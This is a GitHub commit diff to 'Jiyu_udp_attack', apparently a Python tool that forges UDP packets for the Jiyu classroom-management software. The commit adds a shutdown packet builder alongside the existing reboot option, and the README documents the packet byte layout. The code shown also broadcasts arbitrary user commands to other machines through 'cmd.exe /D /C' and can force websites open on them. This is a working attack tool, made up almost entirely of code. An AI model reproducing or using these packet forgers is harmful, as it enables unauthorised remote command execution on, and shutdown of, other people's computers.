Skip to content

Commit 3cedf36

Browse files
committed
feat!: Add shutdown command support
BREAKING CHANGE: Replaced `pkg_reboot` with `pkg_shutdown`
1 parent 9865f88 commit 3cedf36

File tree

4 files changed

+51
-24
lines changed

4 files changed

+51
-24
lines changed

Jiyu_udp_attack/__init__.py

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -4,16 +4,18 @@
44

55
try:
66
from Jiyu_udp_attack.sender import send_packet, broadcast_packet
7-
from Jiyu_udp_attack.packet import pkg_message, pkg_website, pkg_execute
7+
from Jiyu_udp_attack.packet import pkg_message, pkg_shutdown, pkg_rename, pkg_website, pkg_execute
88
except ImportError:
99
from sender import send_packet, broadcast_packet
10-
from packet import pkg_message, pkg_website, pkg_execute
10+
from packet import pkg_message, pkg_shutdown, pkg_rename, pkg_website, pkg_execute
1111

1212

1313
__all__ = [
1414
"send_packet",
1515
"broadcast_packet",
1616
"pkg_message",
17+
"pkg_shutdown",
18+
"pkg_rename",
1719
"pkg_website",
1820
"pkg_execute",
1921
]

Jiyu_udp_attack/__main__.py

Lines changed: 23 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@
1313
from os import name
1414

1515
from sender import broadcast_packet
16-
from packet import pkg_message, pkg_reboot, pkg_rename, pkg_website, pkg_execute
16+
from packet import pkg_message, pkg_shutdown, pkg_rename, pkg_website, pkg_execute
1717

1818

1919
if __name__ == "__main__":
@@ -76,12 +76,20 @@
7676
type=str,
7777
help="Command to execute on the target",
7878
)
79+
group.add_argument(
80+
"-s",
81+
"--shutdown",
82+
nargs="*",
83+
default=None,
84+
metavar=("timeout", "message"),
85+
help="Shutdown the target machine, optionally with a timeout and message",
86+
)
7987
group.add_argument(
8088
"-r",
8189
"--reboot",
8290
nargs="*",
8391
default=None,
84-
metavar="timeout [message]",
92+
metavar=("timeout", "message"),
8593
help="Reboot the target machine, optionally with a timeout and message",
8694
)
8795
group.add_argument(
@@ -105,14 +113,24 @@
105113
payload = pkg_website(args.website)
106114
elif args.command:
107115
payload = pkg_execute("cmd.exe", f'/D /C "{args.command}"', "minimize")
116+
elif args.shutdown is not None:
117+
match args.shutdown:
118+
case []:
119+
payload = pkg_shutdown()
120+
case [timeout]:
121+
payload = pkg_shutdown(timeout=int(timeout))
122+
case [timeout, message]:
123+
payload = pkg_shutdown(timeout=int(timeout), message=message)
124+
case _:
125+
parser.error("Invalid shutdown arguments: expected [timeout] or [timeout, message]")
108126
elif args.reboot is not None:
109127
match args.reboot:
110128
case []:
111-
payload = pkg_reboot()
129+
payload = pkg_shutdown(reboot=True)
112130
case [timeout]:
113-
payload = pkg_reboot(timeout=int(timeout))
131+
payload = pkg_shutdown(timeout=int(timeout), reboot=True)
114132
case [timeout, message]:
115-
payload = pkg_reboot(timeout=int(timeout), message=message)
133+
payload = pkg_shutdown(timeout=int(timeout), message=message, reboot=True)
116134
case _:
117135
parser.error("Invalid reboot arguments: expected [timeout] or [timeout, message]")
118136
elif args.rename:

Jiyu_udp_attack/packet.py

Lines changed: 11 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -113,18 +113,24 @@ def pkg_website(url: str) -> bytes:
113113
return head + data + b"\x00" * 4
114114

115115

116-
def pkg_reboot(timeout: Optional[int] = None, message: str = "") -> bytes:
116+
def pkg_shutdown(timeout: Optional[int] = None, message: str = "", reboot: bool = False) -> bytes:
117117
"""
118-
Packages a command to reboot the system into a specific byte format, including a header.
118+
Packages a shutdown or reboot command into a specific byte format, including a header and formatted data.
119+
120+
Args:
121+
timeout (Optional[int]): The time in seconds before the shutdown or reboot occurs. If None, it defaults to immediate execution.
122+
message (str): The message to display during the shutdown or reboot process.
123+
reboot (bool): If True, the command will initiate a reboot; if False, it will initiate a shutdown.
119124
120125
Returns:
121-
bytes: The packaged reboot command as a byte array, including a header and padding.
126+
bytes: The packaged shutdown or reboot command as a byte array, including a header and formatted data.
122127
"""
123128
head = (
124129
b"DMOC\x00\x00\x01\x00*\x02\x00\x00"
125130
+ secrets.token_bytes(16)
126-
+ b" N\x00\x00\xc0\xa8\xe9\x01\x1d\x02\x00\x00\x1d\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x13\x00\x00"
127-
+ (b"\x01" if timeout is None else b"\x00")
131+
+ b" N\x00\x00\xc0\xa8\xe9\x01\x1d\x02\x00\x00\x1d\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00"
132+
+ (b"\x13\x00" if reboot else b"\x14\x00")
133+
+ (b"\x00\x01" if timeout is None else b"\x00\x00")
128134
+ (timeout or 0).to_bytes(4, "little")
129135
+ b"\x01\x00\x00\x00\x00\x00\x00\x00"
130136
)

README.md

Lines changed: 13 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -130,22 +130,23 @@ Data 区变长,至少 $64$ 个字节。
130130
| $\mathrm{size}$ | 网址,使用 `utf-16le` 编码 |
131131
| $4$ | 全 $0$ 段 |
132132

133-
### Reboot
133+
### Reboot / Shutdown
134134

135-
用于重启学生机
135+
用于重启/关闭学生机
136136

137137
Data 区长 $582$。
138138

139-
| 长度 | 内容 |
140-
| :---: | :------------------------------------------------------: |
141-
| $12$ | `444d4f43000001002a020000` |
142-
| $16$ | 随机二进制串 |
143-
| $27$ | `204e0000c0a8e9011d0200001d0200000002000000000000130000` |
144-
| $1$ | 立即重启 `01`;应用超时 `00` |
145-
| $4$ | 超时时间,小端序编码 |
146-
| $8$ | `0100000000000000` |
147-
| $256$ | 提示信息,`utf-16le` 编码 |
148-
| $258$ | 全 $0$ 段 |
139+
| 长度 | 内容 |
140+
| :---: | :------------------------------------------------: |
141+
| $12$ | `444d4f43000001002a020000` |
142+
| $16$ | 随机二进制串 |
143+
| $24$ | `204e0000c0a8e9011d0200001d0200000002000000000000` |
144+
| $2$ | 重启 `1300`;关闭 `1400` |
145+
| $2$ | 立即执行 `0001`;应用超时 `0000` |
146+
| $4$ | 超时时间,小端序编码 |
147+
| $8$ | `0100000000000000` |
148+
| $256$ | 提示信息,`utf-16le` 编码 |
149+
| $258$ | 全 $0$ 段 |
149150

150151
## License
151152

0 commit comments

Comments
 (0)